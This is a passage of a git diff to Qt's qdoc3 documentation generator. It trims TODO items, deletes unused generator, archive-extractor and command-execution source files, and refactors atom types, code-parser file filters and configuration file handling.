e.g. in QAbstractEventDispatcher's detailed desc - * make sure default constructor logic doesn't interfere with default params (e.g. QAbstractEventDispatcher ctors) - * document default constructor provided for Java (e.g.?) - * document "protected QAbstractEventDispatcher(QtObject.QPrivateConstructor p)" and the like - * memory-managed, type - - * replace QString with String, etc. - * nested classes - * enum_1 - - * fix stylesheet - * no link to class itself - * support \ifjava - * add // C++ - * support Java-only /*! ... */ comments - - * links to property names have to be fixed - * example: version 1 in QStyleOptionFrame - * example: foo -> isFoo() - - * lowercase, and remove final stop, in \brief texts for variables and properties - * omit "see alsos" that don't work instead of showing them as broken links diff --git a/tools/qdoc3/TODO.txt b/tools/qdoc3/TODO.txt index 6deeb06..9bf4a28 100644 --- a/tools/qdoc3/TODO.txt +++ b/tools/qdoc3/TODO.txt @@ -10,8 +10,6 @@ * Don't turn X11 and similar names into links. * Added automatic links from getters to setters and vice versa. * Support \module and show which module each class is from. - * Use bullet list for the list of all functions, now that - Assistant handles these gracefully. * Fix occasional crash caused by misuse of const_cast(). * Provide clearer error messages when resolves fail. @@ -55,12 +53,9 @@ MUST HAVES: * Provide a "List of all properties" page. * expand QObjectList -> QList<QObject *> - * make \macro work (?) * warning for unnamed parameters in property access functions * \center...\endcenter - * warning for undocumented enum values - LINKS: * explanation following nonstandard wording warning @@ -74,8 +69,6 @@ LINKS: * implement \sidebar - * implement qbook - * implement \legalesefile * show in which module each class is @@ -92,5 +85,3 @@ NICE FEATURES: OTHER: * make qdoc run faster * make sure \headerfile works even if specified after \relates - - * use qtstyle.css instead of inline style for each page diff --git a/tools/qdoc3/apigenerator.cpp b/tools/qdoc3/apigenerator.cpp deleted file mode 100644 index b3f0214..0000000 --- a/tools/qdoc3/apigenerator.cpp +++ /dev/null @@ -1,150 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include <QFile> - -#include "apigenerator.h" -#include "codemarker.h" -#include "tree.h" - -QT_BEGIN_NAMESPACE - -static QString indentStr(int indent) -{ - QString str; - str.fill(QLatin1Char(' '), indent * 4); - return str; -} - -static bool lessThanName(Node *node1, Node *node2) -{ - return node1->name() < node2->name(); -} - -QString ApiGenerator::format() -{ - return QLatin1String("API"); -} - -void ApiGenerator::generateTree(const Tree *tree, CodeMarker *marker) -{ - QFile outFile(QLatin1String("api")); - outFile.open(QIODevice::WriteOnly); - - out.setDevice(&outFile); - generateNode(tree->root(), marker); - out.flush(); -} - -void ApiGenerator::generateNode(const Node *node, CodeMarker *marker, int indent) -{ - if (node->access() == Node::Private) - return; - - switch (node->type()) { - case Node::Namespace: - if (!node->name().isEmpty()) { - out << indentStr(indent) << "Namespace: " << node->name() << "\n"; - ++indent; - } - break; - case Node::Class: - { - const ClassNode *classe = static_cast<const ClassNode *>(node); - out << indentStr(indent) << "Class: " << node->name(); - foreach (const RelatedClass &baseClass, classe->baseClasses()) { - if (baseClass.access == Node::Public) - out << " inherits " << baseClass.dataTypeWithTemplateArgs; - } - out << "\n"; - ++indent; - } - break; - case Node::Enum: - { - const EnumNode *enume = static_cast<const EnumNode *>(node); - out << indentStr(indent) << "Enum: " << node->name() << "\n"; - ++indent; - - QStringList enumNames; - foreach (const EnumItem &item, enume->items()) - enumNames << item.name(); - qSort(enumNames); - - foreach (const QString &name, enumNames) - out << indentStr(indent) << "Enum value: " << name << "\n"; - } - break; - case Node::Typedef: - out << indentStr(indent) << "Typedef: " << node->name() << "\n"; - ++indent; - break; - case Node::Function: - { - out << indentStr(indent) << "Function: " - << plainCode(marker->markedUpSynopsis(node, 0, CodeMarker::Detailed)) << "\n"; - ++indent; - } - break; - case Node::Property: - { - const PropertyNode *property = static_cast<const PropertyNode *>(node); - out << indentStr(indent) << "Property: " << property->name() - << " type " << property->dataType() << "\n"; - ++indent; - } - break; - default: - ; - } - - if (node->isInnerNode()) { - const InnerNode *inner = static_cast<const InnerNode *>(node); - NodeList nodes = inner->childNodes(); - qSort(nodes.begin(), nodes.end(), lessThanName); - foreach (const Node *child, nodes) - generateNode(child, marker, indent); - } - - out.flush(); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/archiveextractor.cpp b/tools/qdoc3/archiveextractor.cpp deleted file mode 100644 index e9f591e..0000000 --- a/tools/qdoc3/archiveextractor.cpp +++ /dev/null @@ -1,108 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - archiveextractor.cpp -*/ - -#include "archiveextractor.h" - -QT_BEGIN_NAMESPACE - -QList<ArchiveExtractor *> ArchiveExtractor::extractors; - -/*! - \class ArchiveExtractor - - \brief The ArchiveExtractor class is a base class for classes that - know how to unpack a certain kind of archive file. - - The archive extractor contains a list of the filename extensions - of the files that the archive extractor knows how to unpack. - - It maintains a static list of all the instances of ArchiveExtractor - that have been created. It also has a static function for searching - that list to find the archive extracter for a file with a certain - extension. - */ - -/*! - The constructor takes a list of filename extensions, which it - copies and saves internally. This archive extractor is prepended - to the static list. - */ -ArchiveExtractor::ArchiveExtractor( const QStringList& extensions ) - : fileExts( extensions ) -{ - extractors.prepend( this ); -} - -/*! - The destructor deletes all the filename extensions. - */ -ArchiveExtractor::~ArchiveExtractor() -{ - extractors.removeAll( this ); -} - -/*! - This function searches the static list of archive extractors - to find the first one that can handle \a fileName. If it finds - an acceptable extractor, it returns a pointer to it. Otherwise - it returns null. - */ -ArchiveExtractor* -ArchiveExtractor::extractorForFileName( const QString& fileName ) -{ - int dot = -1; - while ( (dot = fileName.indexOf(QLatin1Char('.'), dot + 1)) != -1 ) { - QString ext = fileName.mid( dot + 1 ); - QList<ArchiveExtractor *>::ConstIterator e = extractors.begin(); - while ( e != extractors.end() ) { - if ( (*e)->fileExtensions().contains(ext) ) - return *e; - ++e; - } - } - return 0; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/atom.cpp b/tools/qdoc3/atom.cpp index 122a27a..fb473c7 100644 --- a/tools/qdoc3/atom.cpp +++ b/tools/qdoc3/atom.cpp @@ -107,6 +107,7 @@ QString Atom::UPPERROMAN_ ("upperroman"); \value CodeOld \value CodeQuoteArgument \value CodeQuoteCommand + \value Div \value EndQmlText \value FormatElse \value FormatEndif @@ -179,6 +180,8 @@ static const struct { { "CodeOld", Atom::CodeOld }, { "CodeQuoteArgument", Atom::CodeQuoteArgument }, { "CodeQuoteCommand", Atom::CodeQuoteCommand }, + { "Div", Atom::Div }, + { "EndDiv", Atom::EndDiv }, #ifdef QDOC_QML { "EndQmlText", Atom::EndQmlText }, #endif @@ -190,6 +193,7 @@ static const struct { { "FormattingLeft", Atom::FormattingLeft }, { "FormattingRight", Atom::FormattingRight }, { "GeneratedList", Atom::GeneratedList }, + { "GuidLink", Atom::GuidLink}, { "Image", Atom::Image }, { "ImageText", Atom::ImageText }, { "InlineImage", Atom::InlineImage }, @@ -241,25 +245,25 @@ static const struct { { 0, 0 } }; -/*! \fn Atom::Atom( Type type, const QString& string ) +/*! \fn Atom::Atom(Type type, const QString& string) Constructs an atom (\a type, \a string) outside of any atom list. */ -/*! \fn Atom( Atom *prev, Type type, const QString& string ) +/*! \fn Atom(Atom *prev, Type type, const QString& string) Constructs an atom (\a type, \a string) that follows \a prev in \a prev's atom list. */ -/*! \fn void Atom::appendChar( QChar ch ) +/*! \fn void Atom::appendChar(QChar ch) Appends \a ch to the string parameter of this atom. \also string() */ -/*! \fn void Atom::appendString( const QString& string ) +/*! \fn void Atom::appendString(const QString& string) Appends \a string to the string parameter of this atom. @@ -316,18 +320,18 @@ QString Atom::typeString() const { static bool deja = false; - if ( !deja ) { + if (!deja) { int i = 0; - while ( atms[i].english != 0 ) { - if ( atms[i].no != i ) - Location::internalError( tr("atom %1 missing").arg(i) ); + while (atms[i].english != 0) { + if (atms[i].no != i) + Location::internalError(tr("atom %1 missing").arg(i)); i++; } deja = true; } int i = (int) type(); - if ( i < 0 || i > (int) Last ) + if (i < 0 || i > (int) Last) return QLatin1String("Invalid"); return QLatin1String(atms[i].english); } @@ -346,10 +350,10 @@ QString Atom::typeString() const void Atom::dump() const { QString str = string(); - str.replace( "\\", "\\\\" ); - str.replace( "\"", "\\\"" ); - str.replace( "\n", "\\n" ); - str.replace( QRegExp("[^\x20-\x7e]"), "?" ); + str.replace("\\", "\\\\"); + str.replace("\"", "\\\""); + str.replace("\n", "\\n"); + str.replace(QRegExp("[^\x20-\x7e]"), "?"); if (!str.isEmpty()) str = " \"" + str + "\""; fprintf(stderr, diff --git a/tools/qdoc3/atom.h b/tools/qdoc3/atom.h index ce86bd4..e3b993e 100644 --- a/tools/qdoc3/atom.h +++ b/tools/qdoc3/atom.h @@ -56,82 +56,89 @@ class Atom { public: enum Type { - AbstractLeft, - AbstractRight, + AbstractLeft, // 00 + AbstractRight, AnnotatedList, AutoLink, - BaseName, + BaseName, BriefLeft, - BriefRight, + BriefRight, C, - CaptionLeft, + CaptionLeft, CaptionRight, - Code, - CodeBad, - CodeNew, - CodeOld, + Code, // 10 + CodeBad, + CodeNew, + CodeOld, CodeQuoteArgument, CodeQuoteCommand, + Div, #ifdef QDOC_QML + EndDiv, EndQmlText, #endif FootnoteLeft, - FootnoteRight, - FormatElse, + FootnoteRight, // 20 + FormatElse, FormatEndif, FormatIf, FormattingLeft, FormattingRight, GeneratedList, - Image, + GuidLink, + Image, ImageText, - InlineImage, + InlineImage, // 30 +#ifdef QDOC_QML + JavaScript, + EndJavaScript, +#endif LegaleseLeft, LegaleseRight, - LineBreak, - Link, + LineBreak, + Link, LinkNode, - ListLeft, + ListLeft, ListItemNumber, - ListTagLeft, - ListTagRight, - ListItemLeft, - ListItemRight, - ListRight, - Nop, + ListTagLeft, // 40 + ListTagRight, // 41 + ListItemLeft, // 42 + ListItemRight, // 43 + ListRight, // 44 + Nop, ParaLeft, - ParaRight, + ParaRight, #ifdef QDOC_QML Qml, QmlText, #endif - QuotationLeft, + QuotationLeft, // 50 QuotationRight, RawString, - SectionLeft, + SectionLeft, // 53 SectionRight, SectionHeadingLeft, SectionHeadingRight, - SidebarLeft, + SidebarLeft, SidebarRight, SinceList, - SnippetCommand, + SnippetCommand, // 60 SnippetIdentifier, SnippetLocation, - String, - TableLeft, - TableRight, + String, // 63 + TableLeft, // 64 + TableRight, TableHeaderLeft, TableHeaderRight, TableRowLeft, - TableRowRight, - TableItemLeft, + TableRowRight, + TableItemLeft, // 70 TableItemRight, TableOfContents, - Target, + Target, // 73 UnhandledFormat, UnknownCommand, - Last = UnknownCommand + Last = UnknownCommand }; Atom(Type type, const QString &string = "") diff --git a/tools/qdoc3/bookgenerator.cpp b/tools/qdoc3/bookgenerator.cpp deleted file mode 100644 index 17e191f..0000000 --- a/tools/qdoc3/bookgenerator.cpp +++ /dev/null @@ -1,64 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - bookgenerator.cpp -*/ - -#include "bookgenerator.h" - -QT_BEGIN_NAMESPACE - -BookGenerator::BookGenerator() -{ -} - -BookGenerator::~BookGenerator() -{ -} - -void BookGenerator::generateTree( const Tree *tree, CodeMarker *marker ) -{ - Q_UNUSED( tree ) - Q_UNUSED( marker ) -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/bookgenerator.h b/tools/qdoc3/bookgenerator.h deleted file mode 100644 index 34f2c8b..0000000 --- a/tools/qdoc3/bookgenerator.h +++ /dev/null @@ -1,64 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - bookgenerator.h -*/ - -#ifndef BOOKGENERATOR_H -#define BOOKGENERATOR_H - -#include "generator.h" - -QT_BEGIN_NAMESPACE - -class BookGenerator : public Generator -{ -public: - BookGenerator(); - ~BookGenerator(); - - virtual void generateTree( const Tree *tree, CodeMarker *marker ); -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/ccodeparser.cpp b/tools/qdoc3/ccodeparser.cpp deleted file mode 100644 index 20a12e5..0000000 --- a/tools/qdoc3/ccodeparser.cpp +++ /dev/null @@ -1,73 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - ccodeparser.cpp -*/ - -#include "ccodeparser.h" - -QT_BEGIN_NAMESPACE - -CCodeParser::CCodeParser() -{ -} - -CCodeParser::~CCodeParser() -{ -} - -QString CCodeParser::language() -{ - return QLatin1String("C"); -} - -QString CCodeParser::headerFileNameFilter() -{ - return QLatin1String("*.ch *.h"); -} - -QString CCodeParser::sourceFileNameFilter() -{ - return QLatin1String("*.c"); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/codemarker.cpp b/tools/qdoc3/codemarker.cpp index 15228f4..58642ef 100644 --- a/tools/qdoc3/codemarker.cpp +++ b/tools/qdoc3/codemarker.cpp @@ -40,7 +40,6 @@ ****************************************************************************/ #include <QMetaObject> -#include <QDebug> #include "codemarker.h" #include "config.h" #include "node.h" @@ -60,7 +59,6 @@ QList<CodeMarker *> CodeMarker::markers; been read. */ CodeMarker::CodeMarker() - : slow(false) { markers.prepend(this); } @@ -75,14 +73,11 @@ CodeMarker::~CodeMarker() } /*! - The only thing a code market initializes is its \e{slow} - flag. The \e{slow} flag indicates whether the operations - that slow down qdoc are to be performed or not. It is - turned off by default. + A code market performs no initialization by default. Marker-specific + initialization is performed in subclasses. */ void CodeMarker::initializeMarker(const Config &config) { - slow = config.getBool(QLatin1String(CONFIG_SLOW)); } /*! diff --git a/tools/qdoc3/codemarker.h b/tools/qdoc3/codemarker.h index 7abdaad..65fcdd4 100644 --- a/tools/qdoc3/codemarker.h +++ b/tools/qdoc3/codemarker.h @@ -48,6 +48,7 @@ #include <qpair.h> +#include "atom.h" #include "node.h" QT_BEGIN_NAMESPACE @@ -107,13 +108,6 @@ struct FastSection }; -#if 0 - const QString& name0 = "", - const QString& divClass0 = "", - const QString& singularMember0 = "member", - const QString& pluralMember0 = "members") -#endif - class CodeMarker { public: @@ -128,12 +122,13 @@ class CodeMarker virtual bool recognizeCode(const QString& code) = 0; virtual bool recognizeExtension(const QString& ext) = 0; virtual bool recognizeLanguage(const QString& lang) = 0; + virtual Atom::Type atomType() const = 0; virtual QString plainName(const Node *node) = 0; virtual QString plainFullName(const Node *node, const Node *relative = 0) = 0; virtual QString markedUpCode(const QString& code, const Node *relative, - const QString& dirPath) = 0; + const Location &location) = 0; virtual QString markedUpSynopsis(const Node *node, const Node *relative, SynopsisStyle style) = 0; @@ -171,8 +166,6 @@ class CodeMarker static QString stringForNode(const Node *node); protected: - bool hurryUp() const { return !slow; } - virtual QString sortName(const Node *node); QString protect(const QString &string); QString typified(const QString &string); @@ -191,8 +184,6 @@ class CodeMarker private: QString macName(const Node *parent, const QString &name = QString()); - bool slow; - static QString defaultLang; static QList<CodeMarker *> markers; }; diff --git a/tools/qdoc3/codeparser.cpp b/tools/qdoc3/codeparser.cpp index 0ecf7db..cf91b75 100644 --- a/tools/qdoc3/codeparser.cpp +++ b/tools/qdoc3/codeparser.cpp @@ -47,7 +47,6 @@ #include "node.h" #include "tree.h" #include "config.h" -#include <QDebug> QT_BEGIN_NAMESPACE @@ -99,14 +98,14 @@ void CodeParser::initializeParser(const Config& config) } /*! - Teerminating a code parser is trivial. + Terminating a code parser is trivial. */ void CodeParser::terminateParser() { // nothing. } -QString CodeParser::headerFileNameFilter() +QStringList CodeParser::headerFileNameFilter() { return sourceFileNameFilter(); } @@ -159,6 +158,42 @@ CodeParser *CodeParser::parserForLanguage(const QString& language) return 0; } +CodeParser *CodeParser::parserForHeaderFile(const QString &filePath) +{ + QString fileName = QFileInfo(filePath).fileName(); + + QList<CodeParser *>::ConstIterator p = parsers.begin(); + while (p != parsers.end()) { + + QStringList headerPatterns = (*p)->headerFileNameFilter(); + foreach (QString pattern, headerPatterns) { + QRegExp re(pattern, Qt::CaseInsensitive, QRegExp::Wildcard); + if (re.exactMatch(fileName)) + return *p; + } + ++p; + } + return 0; +} + +CodeParser *CodeParser::parserForSourceFile(const QString &filePath) +{ + QString fileName = QFileInfo(filePath).fileName(); + + QList<CodeParser *>::ConstIterator p = parsers.begin(); + while (p != parsers.end()) { + + QStringList sourcePatterns = (*p)->sourceFileNameFilter(); + foreach (QString pattern, sourcePatterns) { + QRegExp re(pattern, Qt::CaseInsensitive, QRegExp::Wildcard); + if (re.exactMatch(fileName)) + return *p; + } + ++p; + } + return 0; +} + /*! Returns the set of strings representing the common metacommands. */ diff --git a/tools/qdoc3/codeparser.h b/tools/qdoc3/codeparser.h index 683ee16..b297eb9 100644 --- a/tools/qdoc3/codeparser.h +++ b/tools/qdoc3/codeparser.h @@ -66,8 +66,8 @@ class CodeParser virtual void initializeParser(const Config& config); virtual void terminateParser(); virtual QString language() = 0; - virtual QString headerFileNameFilter(); - virtual QString sourceFileNameFilter() = 0; + virtual QStringList headerFileNameFilter(); + virtual QStringList sourceFileNameFilter() = 0; virtual void parseHeaderFile(const Location& location, const QString& filePath, Tree *tree); virtual void parseSourceFile(const Location& location, @@ -78,6 +78,8 @@ class CodeParser static void initialize(const Config& config); static void terminate(); static CodeParser *parserForLanguage(const QString& language); + static CodeParser *parserForHeaderFile(const QString &filePath); + static CodeParser *parserForSourceFile(const QString &filePath); static const QString titleFromName(const QString& name); protected: diff --git a/tools/qdoc3/command.cpp b/tools/qdoc3/command.cpp deleted file mode 100644 index 917b5b5..0000000 --- a/tools/qdoc3/command.cpp +++ /dev/null @@ -1,103 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - command.cpp -*/ - -#include <QProcess> - -#include "command.h" - -#include <stdlib.h> - -QT_BEGIN_NAMESPACE - -void executeCommand(const Location& location, - const QString& format, - const QStringList& args) -{ - QString actualCommand; - for (int i = 0; i < (int) format.length(); i++) { - int ch = format[i].unicode(); - if (ch > 0 && ch < 8) { - actualCommand += args[ch - 1]; - } - else { - actualCommand += format[i]; - } - } - - QString toolName = actualCommand; - int space = toolName.indexOf(QLatin1Char(' ')); - if (space != -1) - toolName.truncate(space); - -#ifdef QT_BOOTSTRAPPED - int status = system(qPrintable(actualCommand)); - int exitCode = WEXITSTATUS(status); - if (status == -1 || exitCode != EXIT_SUCCESS) - location.fatal(QString("Error executing '$1': $2").arg(toolName).arg(exitCode)); -#else - QProcess process; - process.start(QLatin1String("sh"), - QStringList() << QLatin1String("-c") << actualCommand); - process.waitForFinished(); - - if (process.exitCode() == 127) - location.fatal(tr("Couldn't launch the '%1' tool") - .arg(toolName), - tr("Make sure the tool is installed and in the" - " path.")); - - QString errors = QString::fromLocal8Bit(process.readAllStandardError()); - while (errors.endsWith(QLatin1Char('\n'))) - errors.truncate(errors.length() - 1); - if (!errors.isEmpty()) - location.fatal(tr("The '%1' tool encountered some problems") - .arg(toolName), - tr("The tool was invoked like this:\n%1\n" - "It emitted these errors:\n%2") - .arg(actualCommand).arg(errors)); -#endif -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/command.h b/tools/qdoc3/command.h deleted file mode 100644 index b0aac18..0000000 --- a/tools/qdoc3/command.h +++ /dev/null @@ -1,60 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - command.h -*/ - -#ifndef COMMAND_H -#define COMMAND_H - -#include <qstringlist.h> - -#include "location.h" - -QT_BEGIN_NAMESPACE - -void executeCommand( const Location& location, const QString& commandFormat, - const QStringList& args ); - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/config.cpp b/tools/qdoc3/config.cpp index fa48d08..08a8187 100644 --- a/tools/qdoc3/config.cpp +++ b/tools/qdoc3/config.cpp @@ -49,9 +49,7 @@ #include <QTemporaryFile> #include <QTextStream> -#include "archiveextractor.h" #include "config.h" -#include "uncompressor.h" #include <stdlib.h> QT_BEGIN_NAMESPACE @@ -150,7 +148,6 @@ QStringList MetaStack::getExpanded(const Location& location) } QT_STATIC_CONST_IMPL QString Config::dot = QLatin1String("."); -QMap<QString, QString> Config::uncompressedFiles; QMap<QString, QString> Config::extractedDirs; int Config::numInstances; @@ -178,30 +175,9 @@ Config::Config(const QString& programName) } /*! - The destructor deletes all the temporary files and - directories it built. */ Config::~Config() { - if (--numInstances == 0) { - QMap<QString, QString>::ConstIterator f = uncompressedFiles.begin(); - while (f != uncompressedFiles.end()) { - QDir().remove(*f); - ++f; - } - uncompressedFiles.clear(); - - QMap<QString, QString>::ConstIterator d = extractedDirs.begin(); - while (d != extractedDirs.end()) { - removeDirContents(*d); - QDir dir(*d); - QString name = dir.dirName(); - dir.cdUp(); - dir.rmdir(name); - ++d; - } - extractedDirs.clear(); - } } /*! @@ -383,16 +359,12 @@ QSet<QString> Config::subVars(const QString& var) const */ QStringList Config::getAllFiles(const QString &filesVar, const QString &dirsVar, - const QString &defaultNameFilter, const QSet<QString> &excludedDirs) { QStringList result = getStringList(filesVar); QStringList dirs = getStringList(dirsVar); - QString nameFilter = getString(filesVar + dot + - QLatin1String(CONFIG_FILEEXTENSIONS)); - if (nameFilter.isEmpty()) - nameFilter = defaultNameFilter; + QString nameFilter = getString(filesVar + dot + QLatin1String(CONFIG_FILEEXTENSIONS)); QStringList::ConstIterator d = dirs.begin(); while (d != dirs.end()) { @@ -456,62 +428,18 @@ QString Config::findFile(const Location& location, QStringList::ConstIterator c = components.begin(); for (;;) { bool isArchive = (c != components.end() - 1); - ArchiveExtractor *extractor = 0; QString userFriendly = *c; - if (isArchive) { - extractor = ArchiveExtractor::extractorForFileName(userFriendly); - } - - if (extractor == 0) { - Uncompressor *uncompressor = - Uncompressor::uncompressorForFileName(userFriendly); - if (uncompressor != 0) { - QString fileNameWithCorrectExtension = - uncompressor->uncompressedFilePath( - fileInfo.filePath()); - QString uncompressed = uncompressedFiles[fileInfo.filePath()]; - if (uncompressed.isEmpty()) { - uncompressed = - QTemporaryFile(fileInfo.filePath()).fileName(); - uncompressor->uncompressFile(location, - fileInfo.filePath(), - uncompressed); - uncompressedFiles[fileInfo.filePath()] = uncompressed; - } - fileInfo.setFile(uncompressed); - - if (isArchive) { - extractor = ArchiveExtractor::extractorForFileName( - fileNameWithCorrectExtension); - } - else { - userFriendly = fileNameWithCorrectExtension; - } - } - } userFriendlyFilePath += userFriendly; if (isArchive) { - if (extractor == 0) - location.fatal(tr("Unknown archive type '%1'") - .arg(userFriendlyFilePath)); QString extracted = extractedDirs[fileInfo.filePath()]; - if (extracted.isEmpty()) { - extracted = QTemporaryFile(fileInfo.filePath()).fileName(); - if (!QDir().mkdir(extracted)) - location.fatal(tr("Cannot create temporary directory '%1'") - .arg(extracted)); - extractor->extractArchive(location, fileInfo.filePath(), - extracted); - extractedDirs[fileInfo.filePath()] = extracted; - } ++c; fileInfo.setFile(QDir(extracted), *c); } - else { + else break; - } + userFriendlyFilePath += "?"; } return 